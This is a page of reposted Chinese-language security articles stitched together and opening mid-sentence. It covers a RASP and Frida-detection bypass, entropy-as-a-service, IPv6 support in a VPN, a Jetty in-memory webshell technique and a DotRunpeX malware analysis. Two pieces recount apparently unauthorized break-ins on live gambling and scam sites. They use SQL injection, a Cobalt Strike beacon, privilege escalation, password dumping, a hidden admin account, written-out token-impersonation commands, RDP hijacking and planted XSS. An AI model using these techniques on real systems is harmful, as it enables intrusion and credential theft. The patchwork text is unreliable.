和manual_resolved 的索引sym_idx 處的條目,如果它們不匹配,則觸發事件#EVT_CODE_SYMBOL_TABLE。 實際上,比較涵蓋了不同的情況。首先,混淆器處理sym_idx 處的符號尚未解析的情況。在這種情況下,section_ptr[sym_idx] 指向位於__stub_helper 部分中的符號解析存根。這就是元數據結構包含本節的內存範圍的原因: 另外,如果兩個指針不匹配,函數會使用dladdr來驗證它們的位置: 例如,如果導入的函數與Frida掛鉤,則兩個指針可能不匹配。 在origin[sym_idx]被設置為SYM_ORIGINS:NONE的情況下,函數跳過檢查。因此,我們可以通過用0填充原始表來禁用這個RASP檢查。符號的數量接近元數據結構,元數據結構的地址是由___atomic_load和___atomic_store函數洩露的。 代碼跟踪檢查代碼跟踪檢查旨在驗證當前沒有被跟踪。通過查看#EVT_CODE_TRACING_cbk_ptr 的交叉引用,我們可以識別出兩種驗證。 GumExecCtxEVT_CODE_TRACING 似乎能夠檢測Frida 的跟踪檢查是否正在運行。這是我第一次觀
  5. 由於新的安全解決方案在其熵源方面受到限制,因此確保互聯網上的安全通信對開發人員來說變得越來越困難。那麼開發人員如何提高加密的安全性以保護用戶數據呢?熵即服務可能是一個很好的答案,這就是原因。 在本文中,我們將討論什麼是加密中的熵以及為什麼它值得您關注。本文將對想要了解如何在安全項目中使用熵的開發人員有所幫助。 什麼是熵?在計算中,熵是操作系統或應用程序收集的用於生成需要隨機數據的加密密鑰的信息的隨機性或不可預測性的度量。當使用高級別的熵進行加密時,可以安全地保護用戶數據免受網絡傳輸和存儲設備上的靜態攻擊。 傳統的計算系統著眼於人類與機器的交互,例如鼠標移動、網絡活動和鍵盤輸入的熵。然後將基於軟件熵的不可預測數據轉換為隨機數並用於加密需求。 但除了傳統計算機之外,人們還使用範圍廣泛的其他設備和系統來訪問互聯網。因此,對隨機數據的需求不斷增加,以緩解嵌入式系統漏洞以及雲計算環境和物聯網(IoT) 設備中的安全問題。相比之下,基於雲的系統和創新設備在與用戶的交互方面受到限制,因此它們無法產生足以滿足加密需求的基於軟件的熵。讓我們在下一節中詳細探討熵安全性。 為什麼熵如此重要? 2012 年之前,幾乎沒有人考慮過基於軟件的熵問題。隨後,來自加州大學聖地亞哥分校和密歇根大學的一組研究人員發現,RSA 和DSA 不再生成安全密鑰。在研究期間,研究人員調查了防火牆和路由器等互聯網設備中使用的公鑰的安全性。結果表明,大多數SSH 和TLS 服務器都包含很容易猜到的公鑰。此外,研究人員非常驚訝地發現10% 的SSH 密鑰和5% 的HTTPS 密鑰是重複的。 這樣做的原因是聯網設備資源受限,並且與用戶的交互也受到限制。物聯網設備的開發基於軟件產生的熵足以用於密碼學的假設,但這種方法似乎無效。從我們關於物聯網安全挑戰的文章中可以看出,具有可猜測加密密鑰的物聯網設備可以很容易地從有用資產轉換為間諜工具。 此外,基於雲的系統不與用戶硬件交互。相反,雲服務提供商使用來賓虛擬機的單一黃金映像,並創建多個實例以響應用戶需求。然而,這些實例產生熵的能力非常有限。因此, 雲計算也正成為網絡攻擊的誘人載體。 因此,尋找可靠的真實熵源成為了開發者非常頭疼的問題。雖然高質量熵的不足越來越多,但傳統的熵生成軟件方法在應用於現代計算系統時會失敗。儘管專家建議使用確定性隨機位生成器生成加密密鑰,但存在這樣的風險,即提供給這些生成器用於密鑰開發的初始值或種子很容易被網絡犯罪分子追踪和破壞。 此問題的一種可能解決方案是找到可以由生產環境中的多個應用程序安全共享的外部熵源。 熵即服務考慮到對隨機數據日益增長的需求,美國國家標準與技術研究院(NIST) 提議開發一種新的服務來為應用程序和設備開發人員提供高質量的熵:熵即服務。 什麼是熵即服務(EaaS)? EaaS 是一種創新的互聯網服務,旨在為物聯網設備、嵌入式系統和雲服務提供商提供高質量的熵源。這些熵源基於可以提供真正隨機性的環形振盪器或量子設備的物理過程。開發人員可以使用EaaS 為他們的應用程序或設備播種高質量的熵,並確保他們的產品受到強有力的保護,免受網絡攻擊。 NIST 的EaaS 架構NIST 提供了一種為內置於設備和應用程序中的隨機數生成器(RNG) 提供種子的安全方法。 NIST 建議開發人員配置他們的應用程序和設備,以將對必要字節數的隨機數據的HTTP GET 請求發送到熵即服務服務器,並使用相關的熵即服務協議接收新生成的隨機數據。根據NIST,EaaS 系統應具有以下組件: 量子熵裝置 EaaS 服務器 客戶端系統中的硬件信任根設備 EaaS 服務器不斷從附加的量子設備接收熵並將其安全存儲。當它收到來自客戶端系統的請求時,服務器會在將其發送給請求者之前對其新的隨機數據進行簽名和加密。數據的新鮮度通過UTC 時間戳確認,客戶端可以通過將其與本地機器的時間進行比較來驗證該時間戳。數字簽名確保種子的真實性和來源。此外,隨機數據的加密是使用特定於每個客戶端的唯一公鑰和服務器自己的私鑰執行的。 客戶端系統應該有一個帶有安全硬件組件的經典計算設備,用於存儲加密密鑰和種子(例如TPM、Intel IPT 或ARM TrustZone)。此外,還應配備保證EaaS服務器與客戶端硬件組件通信的應用軟件。客戶端系統或設備不一定要有專用硬件,但它的可用性將使種子存儲更加安全。 EaaS 服務器不向其客戶端提供加密密鑰;它僅以安全的方式為客戶的RNG 提供獨特的種子。但是您不需要只信任一個EaaS 提供商;NIST 建議使用來自多個EaaS 服務器的響應來播種應用程序。 EaaS 架構是可擴展的,可以包括全球數以千計的EaaS 服務器,這對於建立集體權威和保持架構的開放性和專家可見性非常重要。 為確保完美的前向保密性,開發人員可以將從EaaS 服務器獲得的隨機數據與本地生成的偽隨機數據(使用哈希)或從另一個EaaS 服務器接收的數據混合。 EaaS供應商市場上有越來越多的成功熵即服務解決方案的例子。例如,美國加密安全解決方案開發商Whitewood 為現場軟件提供免費的熵即服務解決方案,並為永久許可或基於消費的模型提供付費選項。懷特伍德創建了netRandom 軟件,該軟件從熵引擎接收隨機數據,並為操作系統、物聯網設備和虛擬機提供獨特的種子材料。 加拿大網絡安全公司Crypto4A 也在其量子就緒解決方案中實施了NIST 的所有建議。這個熵即服務提供商使用專門開發的硬件安全模塊來實現多個熵源,並為NIST SP-800-90 隨機數生成器設計提供基於量子的數據。他們的模塊確保為公司客戶提供必要級別的加密機密性和服務真實性。 澳大利亞安全公司Quintessence Labs 現在正在嚴格測試其qStream 產品,該產品可為偽隨機數生成器高速提供量子生成的熵。該公司開發了一種有效的熵管理系統,該系統符合KMIP 和FIPS 140-2 級別3。 EaaS 對開發人員的好處EaaS 對應用程序和設備開發人員非常有益,他們不再需要為尋找自己的安全熵源而絞盡腦汁。相反,他們可以更快地推出產品,並確保設備和應用程序能夠安全地保護用戶數據。 EaaS 讓新產品能夠從基於互聯網的架構中獲得真正的熵。這種方法允許開發人員始終使用真正的熵來更新他們的產品,以生成最強大的密碼學,並確保他們的解決方案能夠抵禦現代網絡攻擊。 此外,熵即服務解決方案還可用於企業評估其公司係統的安全性。在EaaS 的幫助下,公司可以證明從來自其基於軟件的資源的數據生成的密鑰的強度。此外,如果企業希望完全確保其數據庫受到保護,還可以使用EaaS 為其端點獲取熵。 至於熵在雲環境中的使用,EaaS 可以幫助避免從公共黃金映像創建的兩個虛擬機實例複製其本地熵池的情況。為避免這種情況,鏡像在克隆後只需要在啟動時從EaaS 服務器請求新的隨機數據。 結論熵即服務是一種新的基於雲的服務,允許開發人員獲得對用戶數據進行強加密所需的高質量熵。該服務滿足了對基於雲的應用程序以及嵌入式和物聯網設備的需求。在密碼學中使用熵是增強解決方案的可靠方法。雖然EaaS 不生成加密密鑰,但它以安全的方式為隨機數生成器提供唯一的種子。
  6. 前言昨天半夜看到一篇文章 某菠菜网站渗透实战 就想着自己也练一练手,打到一半发现,大师傅们对这类站点已经狠狠的蹂躏了,所以借鉴师傅们的经验,本着锻炼一下,想到哪就记一下,所以写的比较杂乱,其中有没有解决的地方也记录下来的,然后又换了个站点接着走了下去 信息收集前台这样 看一下其他的信息 端口查询 80为主页面 81 82 为后台登录界面 1433 mssql 目录扫描 存在目录遍历 漏洞发掘先去后台页面 输入用户名:123提示用户不存在 输入用户名:admin提示用户或密码不正确 确认admin账号,且没有验证码验证,可尝试爆破 直接弱密码 admin 123456 进入后台 功能不多,利用点也没什么 重新回到登录处进行sql注入 mssql,dba权限,直接–os-shell 这里第一台机器不出网且没回显,放弃了,找了几个站终于找到一个出网且回显的网站(只要出网就挺好解决的) CS上线这里尝试CS,判断出网直接生成powershell上线 看一下信息,查一下tasklist 目前是数据库权限,尝试提权,结果直接打掉线,网站也打不开了,还是要慎用,做足信息收集,做足补丁信息的收集 又换了一个站点:找到网站路径 先拿个webshell 哥斯拉顺手甜土豆提权为 system CS插件甜土豆也提权成功 抓一下管理员密码 logonpasswords 付费的 加个影子账户,管理员权限 公网CS通过frp转到内网MSF先上文章吧 FRP+CS实现本地Kali收Shell 服务端(这里为5000,改完忘截图了) 客户端 MSF开启监听 CS 后续看能不能通过窃取Token以管理员身份登录 getuid //查看当前token use incognito //加载incognito list_tokens -u //列出accesstoken impersonate_token “xxxxxxx\administrator” //模拟管理员用户 rev2self //返回之前的accesstoken权限 假冒一下令牌 但是进入shell的时候不是管理员身份,以system身份查找当前进程,迁移到管理员的进程中 再进入shell 然后我还是想 RDP上去但是又没有密码,想到之前看过的一篇文章进行RDP会话劫持: 内网渗透 | RDP会话劫持实现未授权登录 内网漫游:通过RDP劫持向远程系统执行任意代码 最后时间太晚了,就又换了一个站点,成功抓取到密码 RDP直接上去 转载于原文链接: https://mp.weixin.qq.com/s/isk1bmYOuR_79QOBDlwFZQ?ref=www.ctfiot.com
  7. 0x00 前言去年逛微步,本来是想找几个ip练练溯源能力,无意间发现了一个杀猪盘。本文打马赛克如果有漏的地方请及时指出,也请各位不要去微步上边找我这个目标复现,本case已全权交由某官方处理。 0x01 简单的打点 打开链接一看,一股子浓浓的“微盘”气息扑面而来,由于我们自己审计过这套源码,所以就直接找对应的地方打了个xss,结果呢他这竟然是微盘三开,没错,三开! 无奈之下还是用老思路,想办法让框架报错,看版本号,走一遍rce。 得到版本号和物理路径,其实还有个小细节,可以看下图。 这里有个SERVER_NAME和SERVER_ADDR,之前打同类项目的时候遇到过一个情况,通过让页面报错反馈出来的这俩信息里可能会带着真实ip,如果在找不到目标真实ip的情况下可以试试这个小技巧。 大家都知道,这种目标,其他的旁站,端口什么的收集都没啥卵用,所以我也不赘述了。 注册个账号上去看了看,也没啥能利用的点,这时候呢突然想起了goods/pid这里有一处注入,由于之前都是用我们自己的day打,所以从来没用过这个注入点,这不今天就来试了试。 bingo!这就很奈斯了,知道物理路径那不就可以传shell了?不,并不可以,权限不够。 但是你看我发现了啥呢! database的信息莫名其妙显示出来了,这不就可以直接连了??显然是不可以的,因为没法外连。。。。。 0x02 直冲云霄了属于是大概僵持了十分钟,你看看我发现了啥。 adminer哈哈哈,这是咋发现的呢,之前提到过这套系统的一开,二开我们都审计过,在某些特定目录会有这么一个adminer数据库管理系统,所以我就也从本次目标上fuzzing了一下,这不就找到,然后连接上了。 找到嫌疑ip,简单的查查真实性,定定位啥的。 果不其然,又在我们的大云南。 为了确保证据的完整性,我们还是得想办法去后台截个图啥的。因为现在是在库里嘛,所以就可以直接把盲打xss没成功的地方强制改成了xss的payload,然后诱导客服去触发就好了。 然后就进来咯,后台的上传点在三开版本也给删了,数据库里拿shell权限不够,也开启不了所需的服务,所以最终也没能拿下shell。 转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247486198&idx=1&sn=e41bc5d7e4aee7314beaab7f5830435d&chksm=cf53ca40f8244356493dff79a82e26a8c3ef89c50c4508de61cacf523527534d383e6d6b2445&scene=178&cur_album_id=2831511688645656580#rd
  8. 0x00 前言關於Tomcat Filter型內存馬的介紹資料有很多,但是Jetty Filter型內存馬的資料很少,本文將要參照Tomcat Filter型內存馬的設計思路,介紹Jetty Filter型內存馬的實現思路和細節。 0x01 簡介本文將要介紹以下內容: Jetty調試環境搭建 實現思路 實現代碼 Zimbra環境下的Filter型內存馬 0x02 Jetty調試環境搭建 0x03 實現思路相關參考資料: https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java https://blog.csdn.net/xdeclearn/article/details/125969653 參考資料1是通過JmxMBeanServer獲得webappclassloaer,進而通過反射調用相關方法添加一個Filter 參考資料2是通過Thread獲得webappclassloaer,進而通過反射調用相關方法添加Servlet型內存馬的方法 我在實際測試過程中,發現通過JmxMBeanServer獲得webappclassloaer的方法不夠通用,尤其是無法在Zimbra環境下使用 因此,最終改為使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Filter型內存馬。 0x04 實現代碼1.添加FilterJetty下可用的完整代碼如下: 2.枚舉Filter (2)通過Thread獲得webappclassloaer,通過反射讀取_filters屬性來枚舉Filter 0x05 Zimbra環境下的Filter型內存馬在Zimbra環境下,思路同樣為使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Filter型內存馬 但是由於Zimbra存在多個名為WebAppClassLoader的線程,所以在添加Filter時需要修改判斷條件,避免提前退出,在實例代碼的基礎上直接修改即可 0x06 利用思路Filter型內存馬的優點是不需要寫入文件,但是會在服務重啟時失效 0x07 小結本文介紹了Jetty Filter型內存馬的實現思路和細節,給出了可供測試的代碼,分享了Zimbra環境的利用方法。
  9. 隨著聯網設備數量的不斷增加,對互聯網協議(IP) 地址的需求已經超過了互聯網協議版本4 (IPv4) 地址的供應,導致採用互聯網協議版本6 (IPv6) 來減少加載IPv4 地址。 在您的虛擬專用網絡(VPN) 服務中使用IPv6 可以幫助您實現更好的安全性、支持更多功能並訪問更大的地址空間。該協議可以讓您的解決方案面向未來,使其能夠在特定的5G 網絡中運行,並支持支持IPv6 的企業和專用網絡。 在本文中,我們在解釋了IPv4 和IPv6 協議之間的差異後展示瞭如何將IPv6 支持添加到應用程序VPN。在我們的示例中,即使我們無法直接訪問IPv6 網絡,我們也會通過網絡地址轉換64 (NAT64) 添加IPv6 支持,並解釋NAT64 在IPv6 中的作用。您可以在可能無法對網絡進行細粒度控制的受限環境中使用我們在此處介紹的方法。受限環境是指只有IPv6 或IPv4 網絡可用的環境。在這樣的環境中,不可能到達存在於不受支持的地址空間中的某些目標服務器。 虛擬專用網絡簡介VPN 技術允許多台計算機通過軟件定義的虛擬網絡在互聯網上安全、私密地連接。這些虛擬網絡的創建獨立於底層物理網絡基礎設施的物理拓撲。您可以通過以下步驟實現此目的: 通過物理網絡打包和中繼VPN 數據包的虛擬網絡接口之間的隧道流量 將整個過程抽象為VPN 客戶端 這是一個簡單的VPN 設置示例: 基本的VPN 設置 在此設置中,如果客戶端設備1 想要向客戶端設備2 發送數據,則會發生以下情況: 客戶端設備1 可以使用10.0.0.2 地址通過其VPN 接口向VPN 服務器發送數據包。 接口查詢其配置信息並確定數據包的下一個目的地。當接口必須將數據包發送到另一台物理主機時,作為VPN 服務器的網絡適配器的物理接口將連同標頭一起傳輸整個數據包。 這個新數據包包含物理網絡的路由信息。 目標主機收到新數據包,解包原來的VPN 數據包,並以同樣的方式繼續路由。 這是包裝後的數據包的樣子: 包裹的VPN 數據包 請注意,VPN 接口的軟件實現生成物理接口的數據包,允許它在VPN 數據包被路由之前執行其他操作。例如,物理接口的數據包可以加密整個有效載荷,這樣物理主機就無法訪問嵌套的VPN 數據包,這是一個封裝在另一個VPN 數據包中的數據包。 這種在路由數據包之前嵌套數據包的想法也可以應用於常規數據包。以下是這個想法在這種情況下的工作方式: VPN 服務要求操作系統通過其虛擬接口路由數據包。 VPN 接口根據其配置文件路由數據包。 例如,VPN 接口可以將數據包發送到VPN 服務器,VPN 服務器解壓縮到達的數據包,將它們代理到原始目的地,然後將響應返回給VPN 客戶端。 大多數人在考慮VPN 的工作原理時都會想到這種情況。虛擬專用網絡允許對客戶端的出站流量進行加密和代理,以提供額外的安全級別並向客戶端的互聯網服務提供商(ISP) 隱藏信息。 VPN 是在通信協議、加密和身份驗證的幫助下實現的,這些協議有助於在Internet 上安全地加密和傳輸數據。在下一節中,我們將討論哪些通信協議對於實施VPN 解決方案至關重要。 IPv4 和IPv6 概述及其與VPN 的連接大多數VPN 實施在開放系統互連模型的網絡層上運行。根據這個模型,VPN 實現處理IP 數據包並處理它們的路由。這需要VPN 網絡接口背後的軟件來實現Internet 協議,也可能需要一些傳輸層協議。 網絡協議是一組規則,描述數據的結構以及對等方應如何處理它。互聯網協議是一種特定的網絡協議,可以使互聯網上的設備之間進行通信。使用VPN 時,您通常需要使用多種協議,例如Internet 協議或傳輸控制協議(TCP),這些協議有助於通過Internet 在設備之間進行安全通信。 VPN 中使用IPv4 和IPv6 在設備之間傳輸數據。此外,已實現的TCP 可以根據從網絡接收到的原始字節重建TCP 數據包,並創建符合TCP 規則的新TCP 數據包。 實現一個網絡通信協議通常包括以下步驟: 編寫用於創建和解析數據包的函數 實現一個狀態機,它根據處理過的數據包的內容而改變 傳送數據包的方法不是協議的一部分,可以在協議實現過程之外進行處理。 現在,讓我們仔細看看兩個特定的協議:IPv4 和IPv6。這些是主要的互聯網協議,其中IPv4 是最常用的,而IPv6 是最新的。 IPv6 與IPv4:有何區別? IPv4是目前世界上使用最廣泛的協議,儘管它不是Internet 協議的最新版本。 IPv4 地址是32 位數字,以十進製表示法表示為由點分隔的四組數字;例如,192.168.0.1。 IPv4 最多支持大約43 億個唯一地址,因為地址字段只有4 個字節(或32 位)長。 IPv6使用128 位地址並提供更大的地址空間。這是IPv6 相對於IPv4 的主要優勢。由於連接互聯網的設備數量早已超過40 億大關,IPv4 的地址空間已經完全耗盡。在IPv6 網絡中,可能的地址數量為2^128,或大約340 六十億,大約是43 億的79 萬億倍。通過IPv4 網絡傳輸IPv6 流量還有幾個重要的好處: IPv6 與IPv4 相比的優勢 基本IPv6 標頭僅包含協議運行的最重要信息。如果對等方需要在標頭中攜帶額外信息,他們可以將各種可選標頭鏈接在一起。這種方法減少了協議最常見用例的開銷,例如從A 向B 發送數據包。 IPv4 與IPv6 標頭 現在您已經知道切換到IPv6 協議的主要好處,讓我們來看看如何在IPv4 基礎設施上路由IPv6 流量。 使用IPv6 提高VPN 安全性要介紹任何協議,您需要閱讀文檔並實現狀態機和處理特定於所選協議的數據包的功能。但在此步驟中,您可能還會遇到一些問題。讓我們看一下在VPN 服務中實現IPv6 支持的標準機制。 當您允許來自IPv4 的IPv6 流量時,您可以實現以下目標: 允許客戶端應用訪問IPv6 網絡上的服務器 支持純IPv6 環境中的網絡 實施IPv6 協議的過程很簡單。 VPN 服務從其由操作系統管理的虛擬網絡接口獲取所有客戶端數據。此數據包括實際的協議標頭,直到VPN 服務必須處理的IP 標頭。 VPN 服務還必須能夠根據從虛擬網絡接口接收到的信息構建響應數據包。 使用IPv6 協議,處理數據包相當簡單: VPN 服務會存儲原始標頭,直到它從目標服務器獲取響應。 VPN 服務通過交換源地址和目標地址並更新與負載相關的字段來重用標頭來構造響應數據包。 新標頭添加到響應數據之前,並寫回虛擬接口供操作系統處理。 您還可以使用其他編程語言在您的應用程序中實現VPN 服務,例如C/C++、Java、Python 和Rust。在本文中,我們探索了VPN 服務的Kotlin實現。當您需要實施每應用VPN 時,Kotlin 有一些好處,它允許您為每個應用創建單獨的VPN 連接以隔離網絡流量: 假設我們的VPN 服務可以直接訪問虛擬網絡接口的文件描述符。該服務通過多個套接字轉發數據包的有效負載,將數據包代理到外部世界。套接字本身和相關的元數據存儲在會話抽像中。然後,數據包由SessionHandler類處理。 以下是SessionHandler類在處理數據包時所做的事情: 解析數據包 根據存儲在相應會話中的信息決定如何處理它們 轉發數據包的內容 處理響應 在將響應放回網絡接口之前為客戶端重新打包響應 由於虛擬網絡接口由文件描述符表示,因此從中接收數據包就像從常規文件中讀取數據一樣容易: 原始字節很難處理,尤其是當您需要將它們解釋和操作為複雜的數據結構(如協議標頭)時。在Kotlin 中,可以創建可以解釋原始字節並提供用於更改標頭字段的簡單接口的精簡包裝器。此類包裝器提供與標頭中每個字段相對應的函數,提供對它們的輕鬆讀寫訪問。 您還可以將所有這些函數轉換為具有自定義getter 和setter 的字段。在這種情況下,使用包裝器的客戶端代碼看起來就像在操作常規數據類。 IP 標頭的包裝器如下所示: classIPWrapper(bytes:ByteArray){ //wrapthebytesintotheByteBufferclassforeasierbytemanipulationandextrafunctionality //besuretoaccountfortheByteBuffer'sstatefulnessandspecifyindicesexplicitlywhenaccessing //thebytes privatevalbuffer=ByteBuffer.wrap(bytes).order(ByteOrder.BIG_ENDIAN) //theIPversionisstoredinthefirst4bitsoftheheader varipVersion //togetit,readthefirstbyteandshiftitby4bitstotheright get()=(buffer.get(0).toInt()shr4) //andtosetit,shiftthedesiredvaluetotheleftby4bitsandperformthebitwiseshiftOR //onthefirstbyteoftheunderlyingbytearray set(value){buffer.put(0,((valueshl4)or(buffer.get(0).toInt()and0x0F)).toByte())} //IPv4andIPv6headerscontaindifferentfields,soifclientcodeattemptstoaccessafieldthat //isnotpresentintheunderlyingpacket,throwanexception varheaderLength get()= //checktheipversionbycallingtheipVersionmemberdeclaredearlier if(ipVersion==4)(buffer.get(0)and0x0F) //IPv6headerdoesnothaveafieldfortheheaderlength,sothereisnovaluethisgettercanreturn elsethrowException('IPv6doesn'thaveaHeaderLengthfield!') set(value){ //similarly,ifthefieldisthere,setit if(ipVersion==4)buffer.put(0,((valueand0x0F)or(buffer.get(0).toInt()and0xF0)).toByte()) //ifit'snot,throwanexception elsethrowException('IPv6doesn'thaveaHeaderLengthfield!') } //IPheaderscanbeofdifferentversions,andit'sconvenienttohaveasinglewrapperclass //forbothIPv4andIPv6 varsrcIp get()=InetAddress.getByAddress(run{ val(startPos,len)= if(ipVersion==4)listOf(SOURCE_IP_POS_IPV4,ADDR_LEN_IPV4) elselistOf(SOURCE_IP_POS_IPV6,ADDR_LEN_IPV6) //whengettingtheIPaddress,simplycopythebytesthatrepresentitandpasstheresult //intoJava'sInetAddress.getByAddressfunctionthatwilldotherestoftheparsing buffer.array().copyOfRange(startPos,startPos+len) }) set(value){ value.address.copyInto( buffer.array(), if(ipVersion==4)SOURCE_IP_POS_IPV4 elseSOURCE_IP_POS_IPV6 ) } //dothesameforthedestinationaddress vardestIp get()=/*.*/ set(value)=/*.*/ //otherfieldscanbeimplementedinasimilarfashion /*.*/ //thiswrappercanalsohavevariousconveniencefunctions;forexample,itcanprovide //meansforeasilygettingthewrappedpacket'sheaderstoquicklycreateresponseheaders funcopyHeaders()=/*.*/ //orhandlethechecksumcomputationsfortheIPandthenestedtransportheaders funupdateChecksums()=/*.*/ }一旦SessionHandler 類收到數據包,它就可以將數據包字節放入IPWrapper對象並使用IPWrapper 類從IP 標頭訪問它需要的任何信息。例如,在創建響應數據包時,SessionHandler類可以簡單地複制標頭並更新字段,而不是創建一個全新的標頭: 您可以將生成的響應數據包寫回VPN 的網絡接口: 一旦SessionHandler 類將數據包的字節放入IPWrapper 類,路由軟件將解析VPN 服務生成的IP 標頭並將數據包路由到其目的地。在這種情況下,目標是本地應用程序,其出站流量已通過操作系統的路由規則重定向到VPN 的網絡接口。 現在,讓我們看看如果您只能訪問IPv4 網絡,如何檢查支持IPv6 的VPN。 使用NAT64 測試IPv6 實現雖然實施協議相對簡單,但測試才是真正挑戰的開始。那麼,NAT64、IPv4、IPv6是如何相互連接的呢? IPv6 明顯優於IPv4,但支持IPv6 的基礎設施尚不存在。世界上許多ISP 仍然不支持IPv6,因此他們無法將IPv6 轉換為IPv4,反之亦然。因此,他們的客戶端無法訪問任何使用IPv6 的服務器。相反的情況也存在:有些網絡僅使用IPv6 運行,不處理IPv4 數據包。 要解決這些不兼容問題,您可以使用以下轉換機制之一: IPv6 過渡機制 對於下面描述的方法,我們使用了NAT64——一種將所有40 億個IPv4 地址映射到IPv6 地址空間的保留塊的轉換機制。我們的客戶特別要求使用NAT64 在IPv4 地址和IPv6 地址之間進行轉換。 讓我們看看這種機制在實踐中是如何工作的,以及NAT64 為IPv6 做了什麼。假設連接使用不同IP 版本的網絡的路由器收到一個IPv6 數據包,其目標地址來自NAT64 地址範圍。這是接下來發生的事情: 路由器從收到的IPv6 數據包中刪除96 位長的NAT64 前綴,留下32 位的IPv4 地址。 之後,路由器為數據包創建一個新的IPv4 標頭,以便它可以繼續在網絡中傳輸。 當路由器收到IPv4 數據包並必須通過IPv6 網絡路由它時,也會發生同樣的情況: 路由器通過添加NAT64 前綴將IPv4 地址轉換為IPv6 地址。 路由器為數據包重新創建IP 標頭,然後通過IPv6 網絡路由數據包。 您可以使用這些轉換機制來測試IPv6 實現,尤其是在IPv6 網絡不可用的地方。要查看您的VPN 服務如何在純IPv4 環境中處理IPv6 數據包,請在您服務的VPN 接口上使用NAT64 範圍內的目標地址打開IPv6 套接字: 套接字傳輸 如果您的VPN 服務正常運行,它將接收這些數據包並像處理常規IPv6 數據包一樣處理它們。當這些數據包最終通過物理網絡接口進行路由時,它們將到達一個路由器,該路由器會將它們轉換為常規的IPv4 數據包。然後,您的VPN 服務將能夠從目標服務接收響應數據,為客戶端創建響應IPv6 數據包,並通過其虛擬接口發送。 結論雖然IPv4 仍然更受歡迎,但IPv6 為用戶和開發人員提供了更多好處。在本文中,我們解釋了為什麼需要在您的應用程序中將IPv4 轉換為IPv6,以及如何將對NAT64 的支持添加到您的應用程序中。在您無法完全控製網絡的受限環境中,也允許使用NAT64 將IPv6 地址映射到IPv4 目標。
  10. 在過去的幾個月裡,CPR一直在監測DotRunpeX惡意軟件以及它在野外的使用情況。監測顯示,這種新型的網絡注入器仍在不斷發展中。 CPR發現了幾種不同的傳播方法,在發現的所有示例中,DotRunpeX都是第二階段感染的一部分。這種新的威脅被用來傳播許多不同的惡意軟件家族,主要與竊取程序、RAT、加載程序和下載程序有關。 與新版DotRunpeX相關的最早示例的日期為2022.10.17。關於這一威脅的首次公開信息發布日期為2022.10.26年。 本研究的主要主題是對兩個版本的DotRunpeX注入器進行深入分析,對比它們之間的相似之處,並介紹用於分析新版本的DotRunpeX的PoC技術,因為它是由自定義版本的KoiVM .NET protector.虛擬化傳播的。 主要發現Check Point Research(CPR)對DotRunpeX注入器及其與舊版本的關係進行了深入分析;DotRunpeX受到虛擬化(KoiVM的自定義版本)和混淆(ConfuserEx)的保護; 調查顯示,DotRunpeX在野外被用來傳播許多已知的惡意軟件家族; 通常通過網絡釣魚電子郵件作為惡意附件和偽裝成常規程序的網站進行傳播; CPR確認並詳細說明了惡意使用易受攻擊的進程資源管理器驅動程序來禁用反惡意軟件服務的功能; 本文會介紹幾種PoC技術,這些技術已被批准用於反向工程受保護或虛擬化的dotnet代碼; DotRunpeX是一種使用Process Hollowing技術在.NET中編寫的新註入器,用於感染各種已知惡意軟件家族的系統。儘管這種注入器是新的,但與舊版本有一些相似之處。此註入器的名稱基於其版本信息,在dotRunpeX的兩個版本中都是一樣的,在CPR分析的所有示例中都是一致的,並且包含ProductName–RunpeX.Stub.Frame。 在CPR監測這一威脅的同時,CPR發現了一些主要由獨立研究人員公開共享的信息,這些信息與DotRunpeX的功能有關,但被錯誤地歸因於另一個著名的惡意軟件家族。 CPR通過對這一威脅連續進行幾個月的監測,CPR獲得了足夠的信息來區分第一階段和第二階段(DotRunpeX)加載程序,但沒有跡象表明它們之間存在關係。在各種下載程序和加密貨幣竊取程序中,CPR發現了這些由dotRunpeX傳播的已知惡意軟件家族: AgentTesla ArrowRAT AsyncRat AveMaria/WarzoneRAT BitRAT Formbook LgoogLoader Lokibot NetWire PrivateLoader QuasarRAT RecordBreaker–RaccoonStealer2.0 Redline Remcos Rhadamanthys SnakeKeylogger Vidar XWorm DotRunpeX傳播的惡意軟件家族 從發生的時間順序來看,基於DotRunpeX示例的編譯時間戳,這種新的威脅主要在2022年11月和2023年1月開始流行。 DotRunpeX時間軸——編譯時間戳 感染途徑DotRunpeX注入器通常是原始感染的第二階段。典型的第一階段是.NET加載程序/下載程序的非常不同的變體。第一階段加載程序主要通過釣魚電子郵件作為惡意附件(通常是“.iso”、“.img”、“.zip”和“.7z”的一部分)或通過偽裝成常規程序實用程序的網站進行傳播。除了最常見的感染途徑外,DotRunpeX的客戶還很善於濫用谷歌廣告,甚至通過木馬惡意軟件構建器構建其他潛在的攻擊者。 釣魚郵件“Transaction Advice 502833272391_RPY - 29/10/2022”將第一階段加載程序作為惡意“.7z”附件的一部分傳播第一階段加載程序,導致加載DotRunpeX(SHA256:“457cfd6222266941360fdbe36742486ee12419c95f1d7d3502243e795de28200e”)。 釣魚郵件“Transaction Advice 502833272391_RPY - 29/10/2022” 釣魚網站會偽裝成常規程序實用程序(Galaxy Swapper、OBS Studio、洋蔥瀏覽器、Brave Wallet、LastPass、AnyDesk、MSI Afterburner),並提供第一階段加載程序,導致dotRunpeX在第二階段的一部分被感染。 偽裝成Galaxy Swapper的網站:https://www.galaxyswapper[.]ru/: 在谷歌搜索Galaxy Swapper得到的結果“https://www.galaxyswapper[.]ru/” 下載重定向到https://gitlab[.]com/forhost1232/galaxyv19.11.14/-/raw/main/galaxyv19.11.14.zip。 “https://www.galaxyswapper[.]ru/”上的下載按鈕重定向到一個木馬程序 偽裝成LastPass密碼管理器的網站:http://lastpass[.]shop/en/ 網站“http://lastpass[.]shop/en/”偽裝成LastPass密碼管理器 LastPass密碼管理器的假冒網站在調查時已經關閉。儘管如此,CPR可以確認該假冒軟件是從“最終URL”https://gitlab[.]com/forhost1232/lastpassinstaller/-/raw/main/LastPassInstaller.zip下載的。 “http://lastpass[.]shop/en/”上的下載按鈕重定向到一個木馬程序 GitLab頁面https://gitlab[.]com/forhost1232包含數十個被DotRunpeX惡意軟件木馬化的程序。 GitLab存儲庫“https://gitlab[.]com/forhost1232”上的數十個木馬程序 在前面提到的GitLab頁面上,所有的木馬程序都包含了主.NET應用程序,並通過覆蓋層進行了放大,以避免使用沙盒進行掃描。 由GitLab存儲庫' https://gitlab[.]com/forhost1232 '提供的木馬程序示例 